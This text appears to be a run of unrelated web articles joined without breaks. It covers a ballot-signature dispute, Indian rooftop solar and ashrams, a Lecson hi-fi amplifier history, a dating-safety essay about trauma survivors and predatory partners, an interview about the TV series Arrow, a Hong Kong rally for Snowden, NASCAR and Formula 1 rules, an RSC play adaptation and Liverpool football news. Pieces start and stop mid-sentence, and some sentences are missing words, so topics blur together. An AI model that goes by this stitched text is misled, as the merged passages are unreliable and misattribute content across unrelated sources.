24 signatures short of qualifying for the Indiana ballot, told a crowd in Fulton, Mo., that he plans to challenge the decision. POLITICO's Juana Summers: “I think we're 24 signatures short because, as you may know, they changed, they put the petitions out before redistricting. While the petitions were out, they changed the district lines. And some of the signatures we had were in that district, but the old district, not the new one. From our perspective -- and they invalidated a whole bunch of signatures. We're gonna review. We're only 24 short. They invalidated 200 that they said were not good because of ditto marks, things like that. So we're going to go back and look. We have to make up 24 signatures. And I think the fundamental issue is you can't have petitions circulated and have one district be one thing, and then halfway through have the district change and not count the districts, the signatures that were given at the time that they were in fact in that district.” “We've got some very credible, I'm sure, solid legal challenges, and I have no doubt that we'll be on the ballot.” Asked if he will definitely challenge the decision in court he added: “Oh absolutely. We are challenging it right now.”Solar power projects require open spaces for the use of photovoltaic panels that convert the sunlight into a form of energy. (Reuters) The Indian government on Monday, roped in spiritual gurus to promote its target of creating 40,000MW of rooftop solar power capacity. The Union new and renewable energy Ministry is reported to be taking help from spiritual leaders to promote awareness and demonstrate the usefulness of the of green energy. According to reports, these gurus are to act as partners of the International Solar Alliance and are to have ashrams powered by complete solar energy. The international Solar Alliance is a group of over 100 ‘sunshine countries’ between the tropics of Cancer and Capricorn. The initiative was launched by Indian Prime Minister Narendra Modi at the Paris climate Summit in 2016. Top officials in the ministry said that since the spiritual gurus have a large number of followers in India and abroad. Since these followers visit their ashrams in huge numbers, the ministry feels that the gurus are in the best position to showcase the virtue of solar energy and promote the cause of green sustainable energy to protect other non-renewable resources. According to government reports, the Radha Soami Dera in May became the largest single rooftop solar facility in the world. The facility is spread over 80 acres of land and provides an estimated power of about 19MW at the cost Rs 140 crore. Now, it is to be noted that most ashrams are not well equipped and lack the resources for this kind of work to be done, but since the solar power projects require open spaces for the use of photovoltaic panels that convert the sunlight into another form of energy. A data bank of over 100 large Ashrams is being drawn up to seek cooperation and commitment to the achievement of this project. Since solar projects would also help the ashram reduce the use of other forms of energy, the electricity can be sold to the grid. The government is on its way to achieving a very ambitious target of creating 175GW of solar energy by 2022 which includes 40,000 MW of rooftop solar energy. This is being done as part of the plan to reduce the carbon footprint.Sen. Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE (I-Vt.) on Thursday ripped the Republican plan to repeal ObamaCare ahead of a House vote, saying millions would lose health insurance if the bill becomes law. "How can you call something 'health care reform' when millions of people lose their health insurance?" Sanders wrote on Twitter. How can you call something "health care reform”
, damage the pre-amplifying circuits. Industrial design assists and illustrates the electronic concept: the casing of the cylindrical power amplifier – finned matte black aluminium – provides a natural radiating heat sink. But the designer’s most striking achievement is the 1.25 inch shallow preamplifier, fitted with colour-coded slide controls in place of conventional knobs, set between strips of glossy Perspex (an original plan to use black glass was discarded). Lecson hopes it has eliminated the dust-damage problems associated with earlier slide control amplifiers. Watt black aluminium extrusions make up the sides of the enclosure. So far as I can remember none of the AC1 boards ever had a solder mask. When I got to Lecson the original AC1 artwork had “gone missing” so we had to manufacture boards using the photographic negatives and no changes were made. Early boards did use rivets to connect the top & bottom layers Most of the metalwork was anodised black but as a result the colour of every piece looked different so the finished product would have looked different. Therefore a top coat of satin black paint was added; using aerosol cans of paint!” The Interconnect Cable This custom cable is available from one of our Lecson Audio Group members (Tim). Rather than try to make one yourself, we strongly recommend contacting him first. The amplifier requires not only a right angle DIN connector, but the pins are offset. Member Graham writes, “My AP1 also came with a Test Certificate – a quality card which is dated March 1975 although I didn’t get my amp until late Summer 1976. I think the my local retailer, HIFI Consultants of Peterborough, bought a batch as part of Lecson Audio’s bankruptcy and these went back to Lecson Systems to be checked over by Stan and his team before delivery. I remember having to wait for it to come back from Lecson – whoever did it obviously did a good job as it has only failed twice in 30 years+.” Reference Material LecsonUserManual Lecson+AC1+AP1+AP2+Instruction+Manual lecson-ac-1-1975-preamplifier-schematic Lecson-AC-1-1975-pre-sch Lecson AC1 Acrylic Restoration Lecson Technical Service Manual (AC1 and AP1) Hi-Fi World AC1-AP3MK2 Review DIN Winkelstecker 01 DIN Winkelstecker 02We are officially in the second week of our 1,000 Dreams Challenge and have been THRILLED by all the awesome entries that everyone has shared so far! Each week we are featuring a roundup of standout entries from the #1000DreamsChallenge four week social media campaign to inspire YOU go out and live YOUR dreams! Here are four of our favorite entries from girls just like you living their dreams in the media and entertainment world through blogging, social media and radio! Get inspired by their stories and don’t forget to vote for them here! Check back next week to see if YOU are featured!! Meet Amanda: “Blogging and social media have become my passion over the last few years. It started with owning a blog, working with the 1,000 Dreams Fund and countless other online platforms. Since then I have scaled back my online presence to focus on my blog The Happy Arkansan. I want to take my blog further, increase my social media presence and be able to help others with their dreams and goals. I would love to use part of this money to further my blog and use the rest to give back to others. My main mission in life is to help others by advancing my platform and helping others through a scholarship or charitable donation would be fantastic!” Meet Maria: “My dream is to be a multi-media journalist and attend as many events as possible and cover as many topics as I can, especially in terms of Latino culture, technology and beauty. With this scholarship, I would purchase a laptop, voice recorder and use the funds to pay for school, internship transportation and for attending more events so I could meet more girls just like me.” Meet Iris: “I am currently living my broadcasting dreams by interning at KTRE-9, a local TV station near my college campus, as well as being a contributing writer for The Pine Log, which is my school’s newspaper and on occasions helping out at a Spanish radio station in my hometown. If chosen, I would love using this grant to be able to pay tuition for my last semester in college.” Meet Clarissa: “My hope is to one day expand my blog, She Knows The Rules, to something more. I would love to make a fund to help support female athletes and teams. My goal for the blog is to use its success and put it towards the greater good of its community.”Imagine that your car breaks down in a remote spot known to be close to a Federal prison. Your cell phone isn't picking up a signal, so you are thrust on the mercy of a passing driver. In this scenario, would it be wiser to solicit help from another driver yourself or to sit in the car and wait for someone to notice your state of need and offer to help? It would generally be wiser to take an active role in picking the target of your request for help. If you decide to actively request help, you could try to screen for certain factors that might indicate that a particular person would be relatively safe to hail—for example, a man or woman who appears to be riding with his or her young children. Even if you picked at random, without looking for indicators of potentially safe helpers, you would be statistically less likely to pick a relative to the likelihood that a sociopath might pick you when he or she witnesses your obvious state of vulnerability. As threat expert Gavin De Becker explains, “the possibility that you'll inadvertently select a predatory for whom you are the right victim type is very remote."* In other words, if you were to wait passively in your car for someone to help you, you would most likely attract one of two types of people—either good Samaritans or opportunistic sociopaths drawn to your state of need. For individuals with unresolved, the mate-selection process often carries a double risk. That is, unhealed wounds of past trauma in your life lead to a higher likelihood that unsafe people will pick you, and if you actively pick a partner, it is much more likely that you will end up with an unsafe person. In other words, if you have experienced a trauma, it is often true that you will unintentionally emit certain signals and behaviors that chum the water for the psychopathic sharks in the pool. Part of the “chum” in this analogy would be. Research shows that there are differences in the body language of those identified by anti-social prisoners to be target victims and those who are not judged to be easy prey.** Anti-social, dominating, power-abusing individuals have a strong radar for those who are impulsive, those who do not respect themselves, those who are desperate to find love at any cost – basically anyone who will play opposite them in a submissive role for any number of reasons. I’ve intentionally selected sharks for my analogy here because the behavioral patterns of sharks can show up in interactions between those in the dating pool. That is, before a shark attacks, it first circles and then bumps into its potential prey, feeling out its possible victim before going in for the kill. In the same way, sharks in the dating pool will bump up against those they are getting to know, putting out feelers in the form of little tests to gauge the potential for dominating someone. There are many, many forms that these tests can take. Here are three examples… A person who shows blatant disrespect by flaking out on plans at the last minute with no reasonable explanation… (testing whether the other person will allow him or herself to be treated disrespectfully) A person who asks someone he or she has just met on the internet to “come visit for a weekend” (testing things like impulsiveness and how much the other person is willing to invest in a relationship that has barely begun, which may be a indicator of desperation or low )… A person who pressures someone into physical intimacy early in a relationship, before trust or safety has been well-established over a lengthy period of time…(testing level of self-respect, impulsivity, desperation, etc.) A shark gains information about the potential to take advantage of someone by observing how that person responds to these kinds of tests. So, if you’ve ever met a captivating person who suddenly dropped out of your life with no explanation, one possibility is that a shark in the dating pool may have taken a pass because you did not show yourself to be easy prey. Even if your goal is to have a healthy love relationship, if you have experienced certain types of past traumas, you may have a difficult time recognizing sharks when they present themselves as suitors because somehow they "feel like home." If we are sometimes drawn like moths to a flame to potentially abusive partners, could there be any logical reason for this pattern? Some have argued that we select certain partners in order to re-stage trauma scenarios that mirror what we have experienced in the past, presumably with the hope of getting a different outcome. For example, the son of a verbally abusive mother will often end up with a verbally abusive wife. So, maybe this is an attempt to re-pave over an old trauma in order to emotionally correct a deep psychic wound? Whether or not this is the underlying psychological drive, the end result of picking someone you hope to change almost never leads to greater wholeness and emotional well-being. Ultimately, in, as in, if you ignore your history, you will tend to repeat it, so if you have not addressed and achieved healing from your trauma experience(s), doing so in a safe relationship with a treating professional is recommended as a first priority. De Becker, G. (1997). The Gift of and Other Survival Signals that Protect us from Violence. New York, NY: Dell Publishing (a division of Random House, Inc.), p. 65. *Grayson, B. and Stein, M.I. (1981) Attracting Assault: Victims' Nonverbal Cues. Journal of Communication 31 (1): 68-75.The CW’s Arrow, having spent the first half of Season 2 putting assorted exciting pieces in place, is now poised to let the action and agendas fly, not much unlike a projective from Oliver’s bow. Among the big dramatic triggers: Oliver is out for Blood, while onetime compadre Slade Wilson has surfaced in Starling City with one good eye and a very bad disposition. TVLine invited executive producer Andrew Kreisberg to preview the new run of episodes to come, kicking off Wednesday at 8/7. PHOTOS \| Winter TV Spoiler-palooza! Your Guide to Supernatural, Reign and 30 Other Returning Favorites TVLINE \| Over the first run of Season 2 episodes, it felt as if you were setting up pieces on a chessboard…. That was definitely the plan. TVLINE \| So as the show comes back, will we see these different elements coalesce and take shape? Absolutely. One of the things we learned from last season was we built up to Episode 9, where we revealed that Malcolm Merlyn was the Dark Archer, then we kind of put things on simmer — and this year we’re coming back [from the break] with a bang. Oliver is obsessed with finding the man in the skull mask, Brother Blood, who he finally got eyes on in Episode 9, and we’ll be seeing Slade in the present and his machinations with Sebastian to bring about Oliver’s downfall. These next four episodes are also, in a way, a big Laurel chapter because we really get to see Laurel’s drug use come back to bite her. She hits rock bottom and Katie Cassidy is just delivering the most amazing performance. She’s really kicked it up a notch and we’re so proud of her. TVLINE \| That’s good to hear, because one of my questions was how you planned to make Laurel relevant to this next wave of storytelling, beyond possibly dating Sebastian. You know, it’s been somewhat hard, I think, for Katie and us to hear some of the criticisms of her character because we don’t do anything without thinking about it. And one of the great things about having as much success as we had in Season 1 was the freedom to allow things to unfold the way that they should. We’ve always had a fantastic plan for Laurel’s character, and I know that there’s impatience out there in the world to see her “strap on the fish nets” [as Black Canary] but everything we’re doing is all about leading up to that in a the way that we feel keeps it the most realistic and grounded. To take somebody who is a public interest lawyer and turned her into a super hero… you have to go through the paces. So this season we’ve really been putting her through her paces. We always think of these things as chapters, and these next four episodes are really about Laurel. She’s taking center stage as she begins to suspect that Sebastian is not exactly who he seems. RELATED \| Stephen Amell Teases Arrow‘s Mirakuru Freak-Out and a First-Of-Its-Kind Oliver/Laurel Scene TVLINE \| Is Alex Kingston’s return as Dinah Lance also a part of that? Absolutely. We’re such huge fans of Alex and she’s quite the busy this year — she’s performing Macbeth with Kenneth Branagh — so we were so glad that she was available for a few episodes to come back, because we have some great stuff with the Lance family. TVLINE \| When she shows up, is Quentin going to be torn about whether to tell her everything he knows about Sara? He did promise to keep hush. I think Episode 14 is probably the most Brothers and Sisters, as in the ABC show [produced by Arrow EP Greg Berlanti], episode we’ve done. Everyone in the Lance family has big secrets and it’s all going to get blown wide open — but in a good way. TVLINE \| Slade seems really angry here in Starling City, but when we last saw him on the island he was devastated that Shado was dead but he wasn’t really assigning any blame to Oliver. Are we going to get flashbacks to fill in those gaps? I think the audience now understands that what the stakes are on the island and what is fueling Slade’s rage in the present day to destroy Oliver. It’s sad and hard to write because we spent such a long time building up the brotherhood and the bond between these two men to struggle to survive this horrible place, and now we see that Slade is his enemy. We’ll be charting that downfall in the back half of this season, but it was hard to write because we’ve come to love this Slade on the island, and to watch him slowly go insane and turn his anger and his hatred on Oliver… hopefully it will be difficult for people to watch. But the best villains are not the mustache-twirling kind. The best villains are people who are doing what they’re doing out of a sense of loss and love and regret. That was certainly true for Malcolm last season, and it’s doubly true for Slade now. TVLINE \| When we first saw Slade sitting at that desk, talking to Sebastian, repeatedly the camera showed him clenching his fist over and over again. Is there any significance to that…? There actually is significance to that — and funnily enough, it was thought up by Manu [Bennett] himself. That will be explained later on. PHOTOS \| Deathwatch: Arrow‘s Sara and 23 Other TV Characters We Suspect Won’t Survive 2014 TVLINE \| While it’s fun and all to assemble an army of super-soldiers – Roy possibly included — are we going to get a sense of Slade’s greater end game? Or is it purely to punish Oliver? Slade has a very specific goal in the back half of the season, and I think people will be surprised to discover both what it is and what it means to Oliver. Like last season, we really do know what’s going to happen in the season finale and everything we do is going to be writing towards that. So hopefully it’s going to be another roller coaster ride. TVLINE \| One thing that has been so sensational about this season is the pacing. Like, the Canary storyline proceeded at a much faster clip than I’d ever imagined, with her unmasking, the backstory…. We act as if these are the only stories we’ll ever get to tell. I mean, any idea that we have where we’re like, “Oh, we could do that in Season 3,” we’ve moved into Season 2. We feel like that level of velocity — no pun intended with the Flash joining – is the way television is being produced now, especially when you look at shows like Scandal. You just can’t tell the story fast enough, and one of the great things about both the world that we’ve created for Arrow and also the greater DC Universe is there are always more stories to tell. There’s always more characters, there’s always more villains so we’re not ever really worried about where do we go from here. TVLINE \| I liked how in a recent episode Dig took the initiative to scout out a dangerous situation. Will there be new Dig-centric episodes coming up? We actually are going to have an episode where we flash back to Dig’s time in Afghanistan, so that’s going to be a huge David Ramsey episode. Last season when we flashed back to the week before the Queen’s Gambit left and we left the chronological narrative of Oliver’s time on the island, the success of that episode allowed us to start playing with the flashback structure a bit, and people are able to follow it. So just as this year in Episode 5 we had the flashbacks from Sara’s point of view, we have an episode in the back half of the season where the flashbacks are from Laurel’s point of view, and we have this other episode where the flashbacks are from Dig’s [Afghanistan] days. RELATED \| Arrow EP Shrugs Off S.H.I.E.L.D. Rivalry, Instead Hails ‘Golden Age’ of Comic Book TV TVLINE \| Along those lines, do you think you’ll have time to tell us anything more about Felicity as a person — where she came from, who she was before all this? There are hints at that, and we have another story we’re toying with — one that, given everything that we are doing, might get pushed off. We actually have known for a long time what Felicity’s background is — where she came from and who her parents are – but it could be such a big story that it’s something we might hold off on. Emily is the best — I know she is certainly a fan favorite, and a favorite of ours as well. TVLINE \| Well, that brings me to one of my last questions. I know the whole Felicity thing surprised you in Season 1 — how that character took off, how Emily [Bett Rickards] took off. And you’ve obviously got viewers out there who want something to happen between her and Oliver. Is it a balancing act for you, to touch on “Olicity” now and again but not make this show about that? One of the most important lessons that I’ve learned from working with Greg Berlanti, whose obviously had such amazing success in television, is to always have a really great plan, and then always know when to let the plan go. We are very cognizant of what makes people excited, and certainly seeing the fans respond to Emily last season helped cement her as a regular this season. We have a plan, but we also kind of go where the story takes us. So while it is a juggling act, we just do what we feel is right — and up until this point we’ve been lucky that most of the audience has agreed, and this is a show that we would love to watch. We really do make it for ourselves, and as long as we’re happy and excited, we feel like the fans will be happy and excited too. TVLINE \| I think this is a case where what ‘shippers are seeing is actually on the screen. Lord knows there are fan bases that are like, “Oh, put this couple together,” and you’re like, “They have no reason to be together.” But here you’ve got two non-unattractive people who work together under incredibly intense situations and balance each other out tonally, so I feel it. I buy it. I guess it’s a rich man’s problem to have. Yes. Our lead has chemistry with multiple actresses. It’s nothing we’re going to be upset about. TVLINE \| You teased what happened to Barry Allen in the midseason finale. Are we going to get any hints in upcoming Arrow episodes about what has become of him, off camera? I mean, you’ve had a lot of fun with the Starling City TV news coverage of the STAR Labs particle accelerator. Right? You’d think they were reporting on no other story. [Laughs] I will say this: Barry Allen had a very strong impact on both our show and our characters’ lives, and that impact will not be forgotten on Arrow this season. What happened in Central City at the end of Episode 9 was certainly big news, and the effects of that will be mentioned. Right now we’re focusing hard on writing the Flash pilot and breaking for the rest of the season of Arrow, and hopefully there will be some synchronicity between the two, hopefully in anticipation of getting to see Grant [Gustin] and the Flash [in a fall 2014 spin-off series]. Want more scoop on Arrow, or for any other show? Email insideline@tvline.com and your question may be answered via Matt’s Inside Line.HONG KONG (Reuters) - A few hundred rights advocates and political activists marched through Hong Kong on Saturday to demand protection for Edward Snowden, who leaked revelations of U.S. electronic surveillance and is now believed to be holed up in the former British colony. Marchers gathered outside the U.S. consulate shouting slogans denouncing alleged spying operations aimed at China and Hong Kong, but the numbers were modest compared to rallies over other rights and political issues. “Arrest Obama, free Snowden,” protesters shouted outside the slate grey building as police looked on. Many waved banners that said: “Betray Snowden, betray freedom”, “Big brother is watching you” and “Obama is checking your email”. In his first comments on Snowden’s case, Hong Kong leader Leung Chun-ying said late on Saturday that the government would handle it in accordance with established laws. “When the relevant mechanism is activated, the Hong Kong SAR Government will handle the case of Mr Snowden in accordance with the laws and established procedures of Hong Kong,” he said. “Meanwhile, the government will follow up on any incidents related to the privacy or other rights of the institutions or people in Hong Kong being violated.” Some protesters blew whistles in support of Snowden, 29, the American former CIA contractor who has acknowledged being behind leaks of the surveillance programs by the National Security Agency. The procession moved on to government headquarters in the city, which reverted to Chinese rule in 1997 but enjoys far more liberal laws on dissent and freedom of expression. About a dozen groups organized two rallies, including the city’s two largest political camps. Leaders of major political parties sought explanations for Snowden’s allegations of spying. Hong Kong’s largest pro-Beijing political party, the DAB, demanded an apology from Washington, clarification of “illegal” espionage activities and an immediate halt to them. Edward Snowden, a former contractor at the National Security Agency (NSA), is seen during news broadcast on a screen at a shopping mall in Hong Kong June 16, 2013. REUTERS/Bobby Yip “I think the Hong Kong government should protect him,” the DAB’s vice-chairwoman, Starry Lee, said outside the consulate. Snowden reportedly flew to Hong Kong on May 20. He checked out of a luxury hotel on Monday and his whereabouts remain unknown. Snowden has said he intends to stay in Hong Kong to fight any potential U.S. moves to extradite him. CHINA AVOIDS COMMENT ON CASE China has avoided any explicit comment on its position towards Snowden. A senior source with ties to the Communist Party leadership said Beijing was reluctant to jeopardize recently improved ties with Washington. Snowden told the South China Morning Post this week that Americans had spied extensively on targets including the Chinese University of Hong Kong that hosts an exchange which handles nearly all the city’s domestic web traffic. Other alleged targets included government officials, businesses and students. Snowden pledged not to “hide from justice” and said he would place his trust in Hong Kong’s legal system. Some legal experts, however, say an extradition treaty between Hong Kong and the United States has functioned smoothly since 1998. It is unclear whether Chinese authorities would intervene over any U.S. attempts to extradite Snowden, though lawyers say Beijing has rarely interfered with extradition cases. His arrival comes at a sensitive time for Hong Kong leader Leung Chun-ying, whose popularity has sunk since taking office last year amid a series of scandals and corruption probes into prominent figures. Leung has offered no comment on Snowden. Interest among residents into the case is growing and numbers could rise if extradition proceedings are launched. Demonstrations on issues ranging from denunciations of pro-communist education policy imposed by Beijing, high property prices and a growing wealth gap have attracted large crowds. Slideshow (3 Images) A vigil marking the anniversary of China’s June 1989 crackdown on democracy advocates drew tens of thousands this month and a record 180,000 last year. Diplomats and opposition figures in the city have warned of growing behind-the-scenes meddling by Beijing in Hong Kong’s affairs, as well as deep-rooted spying activities.A Florida electrical worker was attacked outside an East Meadow restaurant on Friday night after finishing a 16-hour shift. After working a 16-hour shift, 34-year-old John Applewhite, of Lakeland, Florida, was walking into the Texas Roadhouse restaurant on Hempstead Turnpike with a coworker. John's father, Morris Applewhite, said his son had just locked up his company vehicle and was walking into the restaurant when a suspect hollered at him. John Applewhite thought the man was asking about his power. Morris said that many people had been stopping John and his coworkers on the street to ask how things were going, so that is what he assumed was happening. As John walked over to the car, the suspect got out of his car and walked towards the worker. That is when the suspect punched him in the face. John's coworker raced over and pulled the man off of him. The suspect bit that worker in the finger, sending him to the hospital as well. John was taken to Nassau University Medical Center, where he was treated for a broken nose and swelling around his eye. John flew back to Tampa on Saturday and went right to Lakeland Regional Medical Center. He is being treated for a broken jaw and a broken cheekbone and swelling around his face. John has worked for Florida-based Lakeland Electric for 12 years. He was on Long Island with a crew of 24 to help LIPA restore power. Nassau police are investigating, and no arrests have been made. --- Get Eyewitness News Delivered Facebook \| Twitter \| Newsletters \| Text AlertsCHARLOTTE, N.C. -- Dale Earnhardt Jr. isn't known for his aggressive driving style. He at times gets criticized for being too polite, to politically correct, for not taking more chances. Many fans want him to be more like the intimidator his father was. But in Saturday night's Sprint All-Star Race, NASCAR's most popular driver plans to push "as far as you can push it" -- assuming he makes the main event -- even if that means knocking another driver out of the way on the last lap to capture the million-dollar prize. "If you can get to a guy's bumper on the last lap, he's going to be in trouble," Earnhardt said on Friday at Charlotte Motor Speedway. "With the amount of money on the line, how big this race is, if you get turned around on the last lap for the win, I don't think you can hold too much of a grudge. "There is a bit of a code when it comes to particular races such as this, that no matter how dirty it gets at the end, you've got to kind of let it go. There's just too much at stake." If Dale Earnhardt Jr., right, makes the All-Star Race, NASCAR's most popular driver vows to do whatever it takes to get to Victory Lane. His crew chief, Steve Letarte, won't have as much creative license. Mark J. Rebilas/US Presswire As Kurt Busch said when comparing NASCAR to the WWE, this race is what makes brothers "go at it," referring to his 2007 incident with Kyle Busch in the final segment. So if drivers can have at it in this no-points, no-holds-barred event, why not loosen the grip on the crew chiefs as well? Why not let them build the fastest, most-tricked-up machines they can to get their driver into Victory Lane? Take them out of that tight box they constantly complain about and let them test their ingenuity. Crew chiefs gone wild, so to speak. No telling what we might see. Somebody might come here with a version of Richard Petty's 1970 Plymouth Superbird with the super big wing. Somebody might bring an engine bigger than the beefed-up one Petty used to beat Darrell Waltrip at CMS in 1983. Somebody might find the blueprints to the T-Rex car Ray Evernham built for Jeff Gordon to dominate the 1997 All-Star Race. It would be, as NASCAR vice president for competition Robin Pemberton said, "insane." But don't you think Rick Hendrick would love to build Earnhardt something that all but guarantees he wins the preliminary Showdown so he doesn't have to rely on the fan vote to compete in the main event, something to give Earnhardt that "respect" he felt after winning the 2000 All-Star Race in his first attempt? Heck, yeah, he would. "It's fun to talk about," said Pemberton, who was a crew chief complaining about the tight box before he went to work for NASCAR. "The stuff they'd come up with would be insane, because there are a lot of smart guys out there. "But as much fun as the concept would be to think about, it would be a disaster to implement." Practical thinking always seems to get in the way. Pemberton's concern, and the concern of many owners, drivers and crew chiefs, is teams would spend so much money building special cars for the All-Star Race that it would detract from the rest of their program. As Jeff Burton said, teams would spend $100,000 to win a million. They probably would spend much more than that. The countless hours in the wind tunnel testing the aerodynamics of a new car might be restrictive alone. It likely would turn into a case of the rich getting richer. But that's the way it has always been, and according to several crew chiefs, teams already are spending a ton to develop an All-Star car. The massive rear wing on Richard Petty's 1970 Plymouth Superbird was a sight to behold. ISC Images & Archives via Getty Images "If you open it up, I don't think that would make much difference," said Shane Wilson, the crew chief for Kevin Harvick. "Sometimes we spend more money when you don't open it up trying to get that last little bit out of the car." Asked what he'd do if NASCAR took off the handcuffs, Wilson smiled and said, "I probably wouldn't run a COT car." See, crew chiefs fantasize about taking chances just as much as drivers do when no points are on the line. Some of them have spent their entire lives learning how to use the imagination that NASCAR seemingly works so hard to subdue. But at least for one weekend, it would be nice to let them take the gloves off. CMS president Marcus Smith is all in favor of it. He has other good ideas, too, such as letting two cars at a time race from a stand-still position to determine starting order. He was told "no dice" on that, too. "Somewhere there has to be a happy medium," Smith said. "The All-Star Race is a great place to do some of those things, and it really is a better way to test than a test. When you're testing you're not trying to win." There are risks. Somebody might come up with something so dominant that it runs away from the field and turns a potential crashfest into a snoozefest. That basically happened with the T-Rex -- the car NASCAR told Evernham the day after the '97 event never to bring back to the track. "T-Rex was built within the rules of that time," Evernham said. "Sunday after the race it was not because they changed the rules." And as much as Evernham liked pushing the rules, he's not sure an All-Star Race without any limitations for crew chiefs would work. "If you were to say to me, 'Look, you can do whatever you want and there's no rules,' you don't even want to see what I'm going to bring," Evernham said. "And somebody is going to get hurt in it." So maybe make the crew chiefs work within the confines of the chassis that has proved over the past few years to protect the drivers. Perhaps Hall of Fame driver Darrell Waltrip has the right idea. "They should have a special car for the All-Star Race," he said. "I don't mean paint job. Come over here, the engine size is right and the thing weighs right and it's got the tires on the right side where they belong on and let everything else take their course. "It would be fun. It would be amazing to see what these guys come up with." But for every Waltrip who wants to see the governing body loosen up, there's a party pooper like Pemberton. "It would be fun to fantasize about that stuff if you're a gearhead," he said. "The reality, it would be a pain to do it. As a participant, when you're already working 70 or 80 hours a week just to be within the rules, how much more would you put into it? "It's insane, really." But many things that have made the sport better have come out of taking insane chances. In 2009, NASCAR experimented with a double-file, shootout-style restart in the All-Star Race. It soon after was adopted for the entire series, and quite frankly has created some of the best moments of the past few years. "Let them be creative and see what they show up with," Waltrip said of crew chiefs for this race. You know Chad Knaus, one of the most penalized crew chiefs in NASCAR history, would be licking his chops. "Any and every crew chief wishes they had somewhere new to explore," said Knaus' driver, five-time Cup champion Jimmie Johnson. "It's such a tight box none of them can. Every crew chief would be like, 'Hell, yeah, give me something new to try.' " If drivers are allowed to wreck each other without penalty once a year, shouldn't crew chiefs be allowed to bend the rules -- just a little? Once? It doesn't have to be super expensive. Maybe, as Kasey Kahne's crew chief, Kenny Francis, suggested, do away with the height measurements. That would allow crew chiefs to fool around with setups and springs far beyond what they can do now. Let the crew chiefs choose whether they want to use soft or hard tires, too. Put some strategy into this for everybody. Let the crew chiefs have at it just like the drivers can. Let them put their hair down -- just like Earnhardt plans to do. "If you're close enough to the guy at the end of the race, that's what's going to happen," Earnhardt reiterated of moving another driver for the win. "This race gets a bye when it comes to your feelings and getting your feelings hurt." So make it a bye for crew chiefs, too.The Orphan of Zhao – the story of a boy who is adopted by the killer of his clan – is one of China's oldest plays. Its adaptor for the RSC explains all I was telling a friend the story of the Chinese play The Orphan of Zhao. There's a massacre, I said, in which almost an entire clan is wiped out by a power-hungry minister. When two babies are switched, the orphan of the clan, the sole surviving Zhao, is adopted by the very minister responsible for the massacre. As the orphan comes of age, he learns that his adoptive father is the murderer of his clan. Oh, exclaimed my friend, it's Argentina! Well, yes, it has resonances in contemporary Argentina, where children of the "disappeared" have found out that their adoptive parents were responsible for the brutal suppression of the left. But the story has resonances throughout the world: I have often thought of Cambodia; others might think of Uganda, or Rwanda. There is, of course, the recent history of China itself. One doesn't need to insert these echoes. They resonate on their own behalf. The Orphan of Zhao, which I have been adapting for the RSC, survives in various versions, going back to what is no more than the lyrics for a set of arias whose music can only be guessed at. A play with songs, its earliest versions date back to the 13th century; the events it describes date back two millennia before that, between 800BC and 600BC. In China, it is constantly revived on the contemporary stage, and a few years back was the basis for an epic film, Sacrifice. A story of revenge, it's sometimes called the Chinese Hamlet; and it's certainly performed as often. Modern versions make their own radical adjustments to the plot and the script. Indeed, there seems to be no single text that presents the whole story from start to finish. It is a living piece of drama – continuously evolving and mutating. When incoming RSC artistic director Gregory Doran approached me, less than a year ago, to write a version for the current Stratford season (where it is to play in tandem with Brecht's Galileo and Pushkin's Boris Godunov), what immediately struck me was the problem of style. How to create a poetic language that, without sounding like so much hokum, would convey a sense of the early feudal world the play depicts? The solution I adopted was to start writing straight away, even in advance of a clear idea of how the plot would go. I wrote a song. Then I wrote another song, and I thought: the first act could be like a suspension bridge slung between these two songs. The third song followed soon after, and the fourth came in a dream, out of which I woke and set it straight down almost word for word as it remains in Paul Englishby's musical setting. When you write a poem, you write partly with your head, but
are hit with a drive-thru penalty and a 10-place grid penalty for the next event if their mechanics release their car from the pit box, without all four wheels properly attached. The penalty was introduced mid-season last year in the wake of an incident during the German Grand Prix, when a FOM TV cameraman was hit by an errant wheel from Mark Webber’s Red Bull, in a bid to slow down pitstops and make the mechanics and teams more aware of the dangers of releasing cars with loose wheel nuts. So far this year both Daniel Riccardo and Esteban Gutierrez have been victims of unsafe release penalties, however both have expressed their feelings about the rule being too harsh on drivers, when the entire thing it out of their control. According to Autosport though, after the matter has been brought up in drivers briefings, the idea of making changes has been discussed with teams and has reportedly received widespread support. As such, a formal change to the regulations will be proposed to teams over the course of the next couple of weeks, which will require unanimous support before being put in front of the World Motorsport Council for ratification. If teams are swift, the rule change could come into effect as early as the Belgian Grand Prix. Whilst the proposed rule change has not been disclosed, Sky Sports F1’s David Croft did make comments during Practice for the British Grand Prix, that a “reputable source” told him the changes could see drivers getting just the drive-thru penalty if they stop in the pitlane, rather than the 10-placer on top. But if the driver enters the race track, then they will get a 10-placer for the next event. Nothing was said in regards to a wheel leaving the car whilst they are in the pitlane, however the driver will presumably get a 10-placer due to the dangers that causes. Whilst it makes the penalty less harsh on drivers though, it still doesn’t tackle the issue of fast-paced pitstops. Some have suggested that the FIA should look at penalising the team either financially or competitively by docking them of points, as well as penalising the driver in the race. Then you are able to make the teams focus on making sure their pitstops are consistent, as opposed to trying to get them as fast as possible. But in the short term it does soften the blow for drivers who really have no control over the situation.Liverpool manager Jurgen Klopp admits the perception he was given of Dejan Lovren on arriving at Anfield has not matched his own impressions of the defender. Lovren has struggled to convince the Liverpool supporters that he is a £20m player, since arriving from Southampton in July, 2014. The Croatia international, 29, endured a difficult first season on Merseyside and, not helped by a number of injuries, has started only 10 Premier League games this season. But Lovren returned from a knee problem to partner Mamadou Sakho and help Liverpool keep a clean sheet against Premier League leaders Leicester City last Saturday. That was the first time Leicester have failed to score in the league this season and Klopp has been happy with what he has seen of Lovren so far. Klopp said: “I heard the supporters were not too happy with the performances of Dejan when he came in. “I can’t say anything about this. Since I came here he gets better and better. “He has shown he strong he is and for me I’m not surprised about this. I knew about his quality. “I was surprised a little bit surprised about what everybody told me about him. “I am happy for him that he can show this now. It’s very important that he stays fit and can train and we defend as a team like we did (against Leicester) so it is easier for the centre halves.” Liverpool’s win over Leicester was their first in five games and following successive away defeats in the Premier League they go to struggling Sunderland on Wednesday night with Klopp looking for greater consistency. He added: “There’s no doubt about the quality of the players, the character. What we have to create is a stable level of performance. “We have to go to Sunderland and be concentrated from the first second, like we were against Leicester.” Liverpool will not rush back striker Daniel Sturridge, who has returned to training following his latest four-match injury absence with a hamstring strain, and are awaiting the results of a scan on an injury Divock Origi sustained against Leicester. James Milner is due to return to training on Tuesday but is not expected to 